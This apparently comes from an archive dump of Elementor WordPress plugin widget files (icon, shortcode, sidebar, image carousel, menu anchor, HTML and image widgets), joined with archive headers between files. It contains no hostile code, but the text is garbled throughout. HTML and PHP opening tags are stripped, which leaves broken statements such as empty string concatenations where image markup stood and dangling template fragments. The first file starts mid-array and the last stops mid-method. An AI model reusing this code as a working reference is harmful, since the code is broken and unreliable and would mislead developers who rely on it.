'custom' ], 'default' => [ 'unit' => 'deg', ], 'tablet_default' => [ 'unit' => 'deg', ], 'mobile_default' => [ 'unit' => 'deg', ], 'selectors' => [ '{{WRAPPER}} .elementor-icon i, {{WRAPPER}} .elementor-icon svg' => 'transform: rotate({{SIZE}}{{UNIT}});', ], ] ); $this->add_control( 'border_width', [ 'label' => esc_html__( 'Border Width', 'elementor' ), 'type' => Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'selectors' => [ '{{WRAPPER}} .elementor-icon' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], 'condition' => [ 'view' => 'framed', ], ] ); $this->add_responsive_control( 'border_radius', [ 'label' => esc_html__( 'Border Radius', 'elementor' ), 'type' => Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'selectors' => [ '{{WRAPPER}} .elementor-icon' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], 'condition' => [ 'view!' => 'default', ], ] ); $this->end_controls_section(); } /** * Render icon widget output on the frontend. * * Written in PHP and used to generate the final HTML. * * @since 1.0.0 * @access protected */ protected function render() { $settings = $this->get_settings_for_display(); if ( empty( $settings['selected_icon']['value'] ) ) { return; } $this->add_render_attribute( 'wrapper', 'class', 'elementor-icon-wrapper' ); $this->add_render_attribute( 'icon-wrapper', 'class', 'elementor-icon' ); if ( ! empty( $settings['hover_animation'] ) ) { $this->add_render_attribute( 'icon-wrapper', 'class', 'elementor-animation-' . $settings['hover_animation'] ); } $icon_tag = 'div'; if ( ! empty( $settings['link']['url'] ) ) { $this->add_link_attributes( 'icon-wrapper', $settings['link'] ); $icon_tag = 'a'; } if ( empty( $settings['icon'] ) && ! Icons_Manager::is_migration_allowed() ) { // add old default $settings['icon'] = 'fa fa-star'; } if ( ! empty( $settings['icon'] ) ) { $this->add_render_attribute( 'icon', 'class', $settings['icon'] ); $this->add_render_attribute( 'icon', 'aria-hidden', 'true' ); } $migrated = isset( $settings['__fa4_migrated']['selected_icon'] ); $is_new = empty( $settings['icon'] ) && Icons_Manager::is_migration_allowed(); ?>
print_render_attribute_string( 'wrapper' ); ?>> <get_render_attribute_string( 'icon-wrapper' ) ); ?>> 'true' ] ); else : ?> print_render_attribute_string( 'icon' ); ?>> >
<# if ( '' === settings.selected_icon.value ) { return; } const link = settings.link.url ? 'href="' + elementor.helpers.sanitizeUrl( settings.link.url ) + '"' : '', iconHTML = elementor.helpers.renderIcon( view, settings.selected_icon, { 'aria-hidden': true }, 'i' , 'object' ), migrated = elementor.helpers.isIconMigrated( settings, 'selected_icon' ), iconTag = link ? 'a' : 'div'; #>
<{{{ iconTag }}} class="elementor-icon elementor-animation-{{ settings.hover_animation }}" {{{ link }}}> <# if ( iconHTML && iconHTML.rendered && ( ! settings.icon || migrated ) ) { #> {{{ iconHTML.value }}} <# } else { #> <# } #>
start_controls_section( 'section_shortcode', [ 'label' => esc_html__( 'Shortcode', 'elementor' ), ] ); $this->add_control( 'shortcode', [ 'label' => esc_html__( 'Enter your shortcode', 'elementor' ), 'type' => Controls_Manager::TEXTAREA, 'dynamic' => [ 'active' => true, ], 'ai' => [ 'active' => false, ], 'placeholder' => '[gallery id="123" size="medium"]', 'default' => '', ] ); $this->end_controls_section(); } /** * Render shortcode widget output on the frontend. * * Written in PHP and used to generate the final HTML. * * @since 1.0.0 * @access protected */ protected function render() { $shortcode = $this->get_settings_for_display( 'shortcode' ); if ( empty( $shortcode ) ) { return; } $shortcode = do_shortcode( shortcode_unautop( $shortcode ) ); ?>
print_unescaped_setting( 'shortcode' ); } /** * Render shortcode widget output in the editor. * * Written as a Backbone JavaScript template and used to generate the live preview. * * @since 2.9.0 * @access protected */ protected function content_template() {} } includes/widgets/sidebar.php000064400000005642147206604650012163 0ustar00 $sidebar ) { $options[ $sidebar_id ] = $sidebar['name']; } } $default_key = array_keys( $options ); $default_key = array_shift( $default_key ); $this->start_controls_section( 'section_sidebar', [ 'label' => esc_html__( 'Sidebar', 'elementor' ), ] ); $this->add_control( 'sidebar', [ 'label' => esc_html__( 'Choose Sidebar', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => $default_key, 'options' => $options, ] ); $this->end_controls_section(); } /** * Render sidebar widget output on the frontend. * * Written in PHP and used to generate the final HTML. * * @since 1.0.0 * @access protected */ protected function render() { $sidebar = $this->get_settings_for_display( 'sidebar' ); if ( empty( $sidebar ) ) { return; } dynamic_sidebar( $sidebar ); } /** * Render sidebar widget output in the editor. * * Written as a Backbone JavaScript template and used to generate the live preview. * * @since 2.9.0 * @access protected */ protected function content_template() {} /** * Render sidebar widget as plain content. * * Override the default render behavior, don't render sidebar content. * * @since 1.0.0 * @access public */ public function render_plain_content() {} } includes/widgets/image-carousel.php000064400000065300147206604650013444 0ustar00 ! Utils::has_pro(), 'image' => esc_url( ELEMENTOR_ASSETS_URL . 'images/go-pro.svg' ), 'image_alt' => esc_attr__( 'Upgrade', 'elementor' ), 'description' => esc_html__( 'Gain complete freedom to design every slide with Elementor"s Pro Carousel.', 'elementor' ), 'upgrade_url' => esc_url( 'https://go.elementor.com/go-pro-image-carousel-widget/' ), 'upgrade_text' => esc_html__( 'Upgrade Now', 'elementor' ), ]; } /** * Register image carousel widget controls. * * Adds different input fields to allow the user to change and customize the widget settings. * * @since 3.1.0 * @access protected */ protected function register_controls() { $this->start_controls_section( 'section_image_carousel', [ 'label' => esc_html__( 'Image Carousel', 'elementor' ), ] ); $this->add_control( 'carousel', [ 'label' => esc_html__( 'Add Images', 'elementor' ), 'type' => Controls_Manager::GALLERY, 'default' => [], 'show_label' => false, 'dynamic' => [ 'active' => true, ], ] ); $this->add_group_control( Group_Control_Image_Size::get_type(), [ 'name' => 'thumbnail', // Usage: `{name}_size` and `{name}_custom_dimension`, in this case `thumbnail_size` and `thumbnail_custom_dimension`. ] ); $slides_to_show = range( 1, 10 ); $slides_to_show = array_combine( $slides_to_show, $slides_to_show ); $this->add_responsive_control( 'slides_to_show', [ 'label' => esc_html__( 'Slides to Show', 'elementor' ), 'type' => Controls_Manager::SELECT, 'options' => [ '' => esc_html__( 'Default', 'elementor' ), ] + $slides_to_show, 'frontend_available' => true, 'render_type' => 'template', 'selectors' => [ '{{WRAPPER}}' => '--e-image-carousel-slides-to-show: {{VALUE}}', ], 'content_classes' => 'elementor-control-field-select-small', ] ); $this->add_responsive_control( 'slides_to_scroll', [ 'label' => esc_html__( 'Slides to Scroll', 'elementor' ), 'type' => Controls_Manager::SELECT, 'description' => esc_html__( 'Set how many slides are scrolled per swipe.', 'elementor' ), 'options' => [ '' => esc_html__( 'Default', 'elementor' ), ] + $slides_to_show, 'condition' => [ 'slides_to_show!' => '1', ], 'frontend_available' => true, 'content_classes' => 'elementor-control-field-select-small', ] ); $this->add_control( 'image_stretch', [ 'label' => esc_html__( 'Image Stretch', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => 'no', 'options' => [ 'no' => esc_html__( 'No', 'elementor' ), 'yes' => esc_html__( 'Yes', 'elementor' ), ], ] ); $this->add_control( 'navigation', [ 'label' => esc_html__( 'Navigation', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => 'both', 'options' => [ 'both' => esc_html__( 'Arrows and Dots', 'elementor' ), 'arrows' => esc_html__( 'Arrows', 'elementor' ), 'dots' => esc_html__( 'Dots', 'elementor' ), 'none' => esc_html__( 'None', 'elementor' ), ], 'frontend_available' => true, ] ); $this->add_control( 'navigation_previous_icon', [ 'label' => esc_html__( 'Previous Arrow Icon', 'elementor' ), 'type' => Controls_Manager::ICONS, 'fa4compatibility' => 'icon', 'skin' => 'inline', 'label_block' => false, 'skin_settings' => [ 'inline' => [ 'none' => [ 'label' => 'Default', 'icon' => 'eicon-chevron-left', ], 'icon' => [ 'icon' => 'eicon-star', ], ], ], 'recommended' => [ 'fa-regular' => [ 'arrow-alt-circle-left', 'caret-square-left', ], 'fa-solid' => [ 'angle-double-left', 'angle-left', 'arrow-alt-circle-left', 'arrow-circle-left', 'arrow-left', 'caret-left', 'caret-square-left', 'chevron-circle-left', 'chevron-left', 'long-arrow-alt-left', ], ], 'conditions' => [ 'relation' => 'or', 'terms' => [ [ 'name' => 'navigation', 'operator' => '=', 'value' => 'both', ], [ 'name' => 'navigation', 'operator' => '=', 'value' => 'arrows', ], ], ], ] ); $this->add_control( 'navigation_next_icon', [ 'label' => esc_html__( 'Next Arrow Icon', 'elementor' ), 'type' => Controls_Manager::ICONS, 'fa4compatibility' => 'icon', 'skin' => 'inline', 'label_block' => false, 'skin_settings' => [ 'inline' => [ 'none' => [ 'label' => 'Default', 'icon' => 'eicon-chevron-right', ], 'icon' => [ 'icon' => 'eicon-star', ], ], ], 'recommended' => [ 'fa-regular' => [ 'arrow-alt-circle-right', 'caret-square-right', ], 'fa-solid' => [ 'angle-double-right', 'angle-right', 'arrow-alt-circle-right', 'arrow-circle-right', 'arrow-right', 'caret-right', 'caret-square-right', 'chevron-circle-right', 'chevron-right', 'long-arrow-alt-right', ], ], 'conditions' => [ 'relation' => 'or', 'terms' => [ [ 'name' => 'navigation', 'operator' => '=', 'value' => 'both', ], [ 'name' => 'navigation', 'operator' => '=', 'value' => 'arrows', ], ], ], ] ); $this->add_control( 'link_to', [ 'label' => esc_html__( 'Link', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => 'none', 'options' => [ 'none' => esc_html__( 'None', 'elementor' ), 'file' => esc_html__( 'Media File', 'elementor' ), 'custom' => esc_html__( 'Custom URL', 'elementor' ), ], ] ); $this->add_control( 'link', [ 'label' => esc_html__( 'Link', 'elementor' ), 'type' => Controls_Manager::URL, 'condition' => [ 'link_to' => 'custom', ], 'show_label' => false, 'dynamic' => [ 'active' => true, ], ] ); $this->add_control( 'open_lightbox', [ 'label' => esc_html__( 'Lightbox', 'elementor' ), 'type' => Controls_Manager::SELECT, 'description' => sprintf( /* translators: 1: Link open tag, 2: Link close tag. */ esc_html__( 'Manage your site’s lightbox settings in the %1$sLightbox panel%2$s.', 'elementor' ), '', '' ), 'default' => 'default', 'options' => [ 'default' => esc_html__( 'Default', 'elementor' ), 'yes' => esc_html__( 'Yes', 'elementor' ), 'no' => esc_html__( 'No', 'elementor' ), ], 'condition' => [ 'link_to' => 'file', ], ] ); $this->add_control( 'caption_type', [ 'label' => esc_html__( 'Caption', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => '', 'options' => [ '' => esc_html__( 'None', 'elementor' ), 'title' => esc_html__( 'Title', 'elementor' ), 'caption' => esc_html__( 'Caption', 'elementor' ), 'description' => esc_html__( 'Description', 'elementor' ), ], ] ); $this->end_controls_section(); $this->start_controls_section( 'section_additional_options', [ 'label' => esc_html__( 'Additional Options', 'elementor' ), ] ); $this->add_control( 'lazyload', [ 'label' => esc_html__( 'Lazyload', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'frontend_available' => true, ] ); $this->add_control( 'autoplay', [ 'label' => esc_html__( 'Autoplay', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'label_on' => esc_html__( 'Yes', 'elementor' ), 'label_off' => esc_html__( 'No', 'elementor' ), 'return_value' => 'yes', 'default' => 'yes', 'frontend_available' => true, ] ); $this->add_control( 'pause_on_hover', [ 'label' => esc_html__( 'Pause on Hover', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'label_on' => esc_html__( 'Yes', 'elementor' ), 'label_off' => esc_html__( 'No', 'elementor' ), 'return_value' => 'yes', 'default' => 'yes', 'condition' => [ 'autoplay' => 'yes', ], 'render_type' => 'none', 'frontend_available' => true, ] ); $this->add_control( 'pause_on_interaction', [ 'label' => esc_html__( 'Pause on Interaction', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'label_on' => esc_html__( 'Yes', 'elementor' ), 'label_off' => esc_html__( 'No', 'elementor' ), 'return_value' => 'yes', 'default' => 'yes', 'condition' => [ 'autoplay' => 'yes', ], 'frontend_available' => true, ] ); $this->add_control( 'autoplay_speed', [ 'label' => esc_html__( 'Autoplay Speed', 'elementor' ), 'type' => Controls_Manager::NUMBER, 'default' => 5000, 'condition' => [ 'autoplay' => 'yes', ], 'render_type' => 'none', 'frontend_available' => true, ] ); // Loop requires a re-render so no 'render_type = none' $this->add_control( 'infinite', [ 'label' => esc_html__( 'Infinite Loop', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'label_on' => esc_html__( 'Yes', 'elementor' ), 'label_off' => esc_html__( 'No', 'elementor' ), 'return_value' => 'yes', 'default' => 'yes', 'frontend_available' => true, ] ); $this->add_control( 'effect', [ 'label' => esc_html__( 'Effect', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => 'slide', 'options' => [ 'slide' => esc_html__( 'Slide', 'elementor' ), 'fade' => esc_html__( 'Fade', 'elementor' ), ], 'condition' => [ 'slides_to_show' => '1', ], 'frontend_available' => true, ] ); $this->add_control( 'speed', [ 'label' => esc_html__( 'Animation Speed', 'elementor' ), 'type' => Controls_Manager::NUMBER, 'default' => 500, 'render_type' => 'none', 'frontend_available' => true, ] ); $this->add_control( 'direction', [ 'label' => esc_html__( 'Direction', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => 'ltr', 'options' => [ 'ltr' => esc_html__( 'Left', 'elementor' ), 'rtl' => esc_html__( 'Right', 'elementor' ), ], ] ); $this->end_controls_section(); $this->start_controls_section( 'section_style_navigation', [ 'label' => esc_html__( 'Navigation', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, 'condition' => [ 'navigation' => [ 'arrows', 'dots', 'both' ], ], ] ); $this->add_control( 'heading_style_arrows', [ 'label' => esc_html__( 'Arrows', 'elementor' ), 'type' => Controls_Manager::HEADING, 'separator' => 'before', 'condition' => [ 'navigation' => [ 'arrows', 'both' ], ], ] ); $this->add_control( 'arrows_position', [ 'label' => esc_html__( 'Position', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => 'inside', 'options' => [ 'inside' => esc_html__( 'Inside', 'elementor' ), 'outside' => esc_html__( 'Outside', 'elementor' ), ], 'prefix_class' => 'elementor-arrows-position-', 'condition' => [ 'navigation' => [ 'arrows', 'both' ], ], ] ); $this->add_responsive_control( 'arrows_size', [ 'label' => esc_html__( 'Size', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', 'em', 'rem', 'custom' ], 'range' => [ 'px' => [ 'max' => 100, ], ], 'selectors' => [ '{{WRAPPER}} .elementor-swiper-button.elementor-swiper-button-prev, {{WRAPPER}} .elementor-swiper-button.elementor-swiper-button-next' => 'font-size: {{SIZE}}{{UNIT}};', ], 'condition' => [ 'navigation' => [ 'arrows', 'both' ], ], ] ); $this->add_control( 'arrows_color', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .elementor-swiper-button.elementor-swiper-button-prev, {{WRAPPER}} .elementor-swiper-button.elementor-swiper-button-next' => 'color: {{VALUE}};', '{{WRAPPER}} .elementor-swiper-button.elementor-swiper-button-prev svg, {{WRAPPER}} .elementor-swiper-button.elementor-swiper-button-next svg' => 'fill: {{VALUE}};', ], 'condition' => [ 'navigation' => [ 'arrows', 'both' ], ], ] ); $this->add_control( 'heading_style_dots', [ 'label' => esc_html__( 'Pagination', 'elementor' ), 'type' => Controls_Manager::HEADING, 'separator' => 'before', 'condition' => [ 'navigation' => [ 'dots', 'both' ], ], ] ); $this->add_control( 'dots_position', [ 'label' => esc_html__( 'Position', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => 'outside', 'options' => [ 'outside' => esc_html__( 'Outside', 'elementor' ), 'inside' => esc_html__( 'Inside', 'elementor' ), ], 'prefix_class' => 'elementor-pagination-position-', 'condition' => [ 'navigation' => [ 'dots', 'both' ], ], ] ); $this->add_responsive_control( 'dots_size', [ 'label' => esc_html__( 'Size', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', 'em', 'rem', 'custom' ], 'range' => [ 'px' => [ 'max' => 20, ], ], 'selectors' => [ '{{WRAPPER}} .swiper-pagination-bullet' => 'width: {{SIZE}}{{UNIT}}; height: {{SIZE}}{{UNIT}};', ], 'condition' => [ 'navigation' => [ 'dots', 'both' ], ], ] ); $this->add_control( 'dots_inactive_color', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ // The opacity property will override the default inactive dot color which is opacity 0.2. '{{WRAPPER}} .swiper-pagination-bullet:not(.swiper-pagination-bullet-active)' => 'background: {{VALUE}}; opacity: 1', ], 'condition' => [ 'navigation' => [ 'dots', 'both' ], ], ] ); $this->add_control( 'dots_color', [ 'label' => esc_html__( 'Active Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .swiper-pagination-bullet' => 'background: {{VALUE}};', ], 'condition' => [ 'navigation' => [ 'dots', 'both' ], ], ] ); $this->end_controls_section(); $this->start_controls_section( 'section_style_image', [ 'label' => esc_html__( 'Image', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->add_responsive_control( 'gallery_vertical_align', [ 'label' => esc_html__( 'Vertical Align', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'flex-start' => [ 'title' => esc_html__( 'Start', 'elementor' ), 'icon' => 'eicon-v-align-top', ], 'center' => [ 'title' => esc_html__( 'Center', 'elementor' ), 'icon' => 'eicon-v-align-middle', ], 'flex-end' => [ 'title' => esc_html__( 'End', 'elementor' ), 'icon' => 'eicon-v-align-bottom', ], ], 'condition' => [ 'slides_to_show!' => '1', ], 'selectors' => [ '{{WRAPPER}} .swiper-wrapper' => 'display: flex; align-items: {{VALUE}};', ], ] ); $this->add_control( 'image_spacing', [ 'label' => esc_html__( 'Spacing', 'elementor' ), 'type' => Controls_Manager::SELECT, 'options' => [ '' => esc_html__( 'Default', 'elementor' ), 'custom' => esc_html__( 'Custom', 'elementor' ), ], 'default' => '', 'condition' => [ 'slides_to_show!' => '1', ], ] ); $this->add_responsive_control( 'image_spacing_custom', [ 'label' => esc_html__( 'Image Spacing', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', 'em', 'rem', 'custom' ], 'range' => [ 'px' => [ 'max' => 100, ], ], 'default' => [ 'size' => 20, ], 'condition' => [ 'image_spacing' => 'custom', 'slides_to_show!' => '1', ], 'frontend_available' => true, 'render_type' => 'none', 'separator' => 'after', ] ); $this->add_group_control( Group_Control_Border::get_type(), [ 'name' => 'image_border', 'selector' => '{{WRAPPER}} .elementor-image-carousel-wrapper .elementor-image-carousel .swiper-slide-image', ] ); $this->add_responsive_control( 'image_border_radius', [ 'label' => esc_html__( 'Border Radius', 'elementor' ), 'type' => Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'selectors' => [ '{{WRAPPER}} .elementor-image-carousel-wrapper .elementor-image-carousel .swiper-slide-image' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], ] ); $this->end_controls_section(); $this->start_controls_section( 'section_caption', [ 'label' => esc_html__( 'Caption', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, 'condition' => [ 'caption_type!' => '', ], ] ); $this->add_responsive_control( 'caption_align', [ 'label' => esc_html__( 'Alignment', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'left' => [ 'title' => esc_html__( 'Left', 'elementor' ), 'icon' => 'eicon-text-align-left', ], 'center' => [ 'title' => esc_html__( 'Center', 'elementor' ), 'icon' => 'eicon-text-align-center', ], 'right' => [ 'title' => esc_html__( 'Right', 'elementor' ), 'icon' => 'eicon-text-align-right', ], 'justify' => [ 'title' => esc_html__( 'Justified', 'elementor' ), 'icon' => 'eicon-text-align-justify', ], ], 'default' => 'center', 'selectors' => [ '{{WRAPPER}} .elementor-image-carousel-caption' => 'text-align: {{VALUE}};', ], ] ); $this->add_control( 'caption_text_color', [ 'label' => esc_html__( 'Text Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'default' => '', 'selectors' => [ '{{WRAPPER}} .elementor-image-carousel-caption' => 'color: {{VALUE}};', ], ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'caption_typography', 'global' => [ 'default' => Global_Colors::COLOR_ACCENT, ], 'selector' => '{{WRAPPER}} .elementor-image-carousel-caption', ] ); $this->add_group_control( Group_Control_Text_Shadow::get_type(), [ 'name' => 'caption_shadow', 'selector' => '{{WRAPPER}} .elementor-image-carousel-caption', ] ); $this->add_responsive_control( 'caption_space', [ 'label' => esc_html__( 'Spacing', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'selectors' => [ '{{WRAPPER}} .elementor-image-carousel-caption' => 'margin-block-start: {{SIZE}}{{UNIT}};', ], ] ); $this->end_controls_section(); } /** * Render image carousel widget output on the frontend. * * Written in PHP and used to generate the final HTML. * * @since 1.0.0 * @access protected */ protected function render() { $settings = $this->get_settings_for_display(); $lazyload = 'yes' === $settings['lazyload']; if ( empty( $settings['carousel'] ) ) { return; } $slides = []; foreach ( $settings['carousel'] as $index => $attachment ) { $image_url = Group_Control_Image_Size::get_attachment_image_src( $attachment['id'], 'thumbnail', $settings ); if ( ! $image_url && isset( $attachment['url'] ) ) { $image_url = $attachment['url']; } if ( $lazyload ) { $image_html = '' . esc_attr( Control_Media::get_image_alt( $attachment ) ) . ''; } else { $image_html = '' . esc_attr( Control_Media::get_image_alt( $attachment ) ) . ''; } $link_tag = ''; $link = $this->get_link_url( $attachment, $settings ); if ( $link ) { $link_key = 'link_' . $index; $this->add_lightbox_data_attributes( $link_key, $attachment['id'], $settings['open_lightbox'], $this->get_id() ); if ( Plugin::$instance->editor->is_edit_mode() ) { $this->add_render_attribute( $link_key, [ 'class' => 'elementor-clickable', ] ); } $this->add_link_attributes( $link_key, $link ); $link_tag = 'get_render_attribute_string( $link_key ) . '>'; } $image_caption = $this->get_image_caption( $attachment ); $slide_count = $index + 1; $slide_setting_key = 'swiper_slide_' . $index; $this->add_render_attribute( $slide_setting_key, [ 'class' => 'swiper-slide', 'role' => 'group', 'aria-roledescription' => 'slide', 'aria-label' => sprintf( /* translators: 1: Slide count, 2: Total slides count. */ esc_html__( '%1$s of %2$s', 'elementor' ), $slide_count, count( $settings['carousel'] ) ), ] ); $slide_html = ''; $slides[] = $slide_html; } if ( empty( $slides ) ) { return; } $swiper_class = Plugin::$instance->experiments->is_feature_active( 'e_swiper_latest' ) ? 'swiper' : 'swiper-container'; $has_autoplay_enabled = 'yes' === $this->get_settings_for_display( 'autoplay' ); $this->add_render_attribute( [ 'carousel' => [ 'class' => 'elementor-image-carousel swiper-wrapper', 'aria-live' => $has_autoplay_enabled ? 'off' : 'polite', ], 'carousel-wrapper' => [ 'class' => 'elementor-image-carousel-wrapper ' . $swiper_class, 'dir' => $settings['direction'], ], ] ); $show_dots = ( in_array( $settings['navigation'], [ 'dots', 'both' ] ) ); $show_arrows = ( in_array( $settings['navigation'], [ 'arrows', 'both' ] ) ); if ( 'yes' === $settings['image_stretch'] ) { $this->add_render_attribute( 'carousel', 'class', 'swiper-image-stretch' ); } $slides_count = count( $settings['carousel'] ); ?>
print_render_attribute_string( 'carousel-wrapper' ); ?>>
print_render_attribute_string( 'carousel' ); ?>>
render_swiper_button( 'previous' ); ?>
render_swiper_button( 'next' ); ?>
wp_get_attachment_url( $attachment['id'] ), ]; } /** * Retrieve image carousel caption. * * @since 1.2.0 * @access private * * @param array $attachment * * @return string The caption of the image. */ private function get_image_caption( $attachment ) { $caption_type = $this->get_settings_for_display( 'caption_type' ); if ( empty( $caption_type ) ) { return ''; } $attachment_post = get_post( $attachment['id'] ); if ( 'caption' === $caption_type ) { return $attachment_post->post_excerpt; } if ( 'title' === $caption_type ) { return $attachment_post->post_title; } if ( empty( $attachment_post->post_content ) ) { return ''; } return $attachment_post->post_content; } private function render_swiper_button( $type ) { $direction = 'next' === $type ? 'right' : 'left'; $icon_settings = $this->get_settings_for_display( 'navigation_' . $type . '_icon' ); if ( empty( $icon_settings['value'] ) ) { $icon_settings = [ 'library' => 'eicons', 'value' => 'eicon-chevron-' . $direction, ]; } Icons_Manager::render_icon( $icon_settings, [ 'aria-hidden' => 'true' ] ); } } includes/widgets/menu-anchor.php000064400000007512147206604650012764 0ustar00start_controls_section( 'section_anchor', [ 'label' => esc_html__( 'Menu Anchor', 'elementor' ), ] ); $this->add_control( 'anchor', [ 'label' => esc_html__( 'The ID of Menu Anchor.', 'elementor' ), 'type' => Controls_Manager::TEXT, 'ai' => [ 'active' => false, ], 'placeholder' => esc_html__( 'For Example: About', 'elementor' ), 'description' => esc_html__( 'This ID will be the CSS ID you will have to use in your own page, Without #.', 'elementor' ), 'label_block' => true, 'dynamic' => [ 'active' => true, ], ] ); $this->add_control( 'anchor_note', [ 'type' => Controls_Manager::ALERT, 'alert_type' => 'warning', 'content' => sprintf( /* translators: %s: Accepted chars. */ esc_html__( 'Note: The ID link ONLY accepts these chars: %s', 'elementor' ), '`A-Z, a-z, 0-9, _ , -`' ), ] ); $this->end_controls_section(); } /** * Render menu anchor widget output on the frontend. * * Written in PHP and used to generate the final HTML. * * @since 1.0.0 * @access protected */ protected function render() { $anchor = $this->get_settings_for_display( 'anchor' ); if ( empty( $anchor ) ) { return; } $this->add_render_attribute( 'inner', [ 'class' => 'elementor-menu-anchor', 'id' => sanitize_html_class( $anchor ), ] ); ?>
print_render_attribute_string( 'inner' ); ?>>
<# if ( '' === settings.anchor ) { return; } view.addRenderAttribute( 'inner', { 'class': 'elementor-menu-anchor', 'id': settings.anchor, } ); #>
start_controls_section( 'section_title', [ 'label' => esc_html__( 'HTML Code', 'elementor' ), ] ); $this->add_control( 'html', [ 'label' => esc_html__( 'HTML Code', 'elementor' ), 'type' => Controls_Manager::CODE, 'default' => '', 'placeholder' => esc_html__( 'Enter your code', 'elementor' ), 'dynamic' => [ 'active' => true, ], 'is_editable' => User::is_current_user_can_use_custom_html(), ] ); $this->end_controls_section(); } /** * Render HTML widget output on the frontend. * * Written in PHP and used to generate the final HTML. * * @since 1.0.0 * @access protected */ protected function render() { $this->print_unescaped_setting( 'html' ); } /** * Render HTML widget output in the editor. * * Written as a Backbone JavaScript template and used to generate the live preview. * * @since 2.9.0 * @access protected */ protected function content_template() { ?> {{{ settings.html }}} start_controls_section( 'section_image', [ 'label' => esc_html__( 'Image', 'elementor' ), ] ); $this->add_control( 'image', [ 'label' => esc_html__( 'Choose Image', 'elementor' ), 'type' => Controls_Manager::MEDIA, 'dynamic' => [ 'active' => true, ], 'default' => [ 'url' => Utils::get_placeholder_image_src(), ], ] ); $this->add_group_control( Group_Control_Image_Size::get_type(), [ 'name' => 'image', // Usage: `{name}_size` and `{name}_custom_dimension`, in this case `image_size` and `image_custom_dimension`. 'default' => 'large', 'condition' => [ 'image[url]!' => '', ], ] ); $this->add_control( 'caption_source', [ 'label' => esc_html__( 'Caption', 'elementor' ), 'type' => Controls_Manager::SELECT, 'options' => [ 'none' => esc_html__( 'None', 'elementor' ), 'attachment' => esc_html__( 'Attachment Caption', 'elementor' ), 'custom' => esc_html__( 'Custom Caption', 'elementor' ), ], 'default' => 'none', 'condition' => [ 'image[url]!' => '', ], ] ); $this->add_control( 'caption', [ 'label' => esc_html__( 'Custom Caption', 'elementor' ), 'type' => Controls_Manager::TEXT, 'default' => '', 'placeholder' => esc_html__( 'Enter your image caption', 'elementor' ), 'condition' => [ 'image[url]!' => '', 'caption_source' => 'custom', ], 'dynamic' => [ 'active' => true, ], ] ); $this->add_control( 'link_to', [ 'label' => esc_html__( 'Link', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => 'none', 'options' => [ 'none' => esc_html__( 'None', 'elementor' ), 'file' => esc_html__( 'Media File', 'elementor' ), 'custom' => esc_html__( 'Custom URL', 'elementor' ), ], 'condition' => [ 'image[url]!' => '', ], ] ); $this->add_control( 'link', [ 'label' => esc_html__( 'Link', 'elementor' ), 'type' => Controls_Manager::URL, 'dynamic' => [ 'active' => true, ], 'condition' => [ 'image[url]!' => '', 'link_to' => 'custom', ], 'show_label' => false, ] ); $this->add_control( 'open_lightbox', [ 'label' => esc_html__( 'Lightbox', 'elementor' ), 'type' => Controls_Manager::SELECT, 'description' => sprintf( /* translators: 1: Link open tag, 2: Link close tag. */ esc_html__( 'Manage your site’s lightbox settings in the %1$sLightbox panel%2$s.', 'elementor' ), '', '' ), 'default' => 'default', 'options' => [ 'default' => esc_html__( 'Default', 'elementor' ), 'yes' => esc_html__( 'Yes', 'elementor' ), 'no' => esc_html__( 'No', 'elementor' ), ], 'condition' => [ 'image[url]!' => '', 'link_to' => 'file', ], ] ); $this->end_controls_section(); $this->start_controls_section( 'section_style_image', [ 'label' => esc_html__( 'Image', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->add_responsive_control( 'align', [ 'label' => esc_html__( 'Alignment', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'left' => [ 'title' => esc_html__( 'Left', 'elementor' ), 'icon' => 'eicon-text-align-left', ], 'center' => [ 'title' => esc_html__( 'Center', 'elementor' ), 'icon' => 'eicon-text-align-center', ], 'right' => [ 'title' => esc_html__( 'Right', 'elementor' ), 'icon' => 'eicon-text-align-right', ], ], 'selectors' => [ '{{WRAPPER}}' => 'text-align: {{VALUE}};', ], ] ); 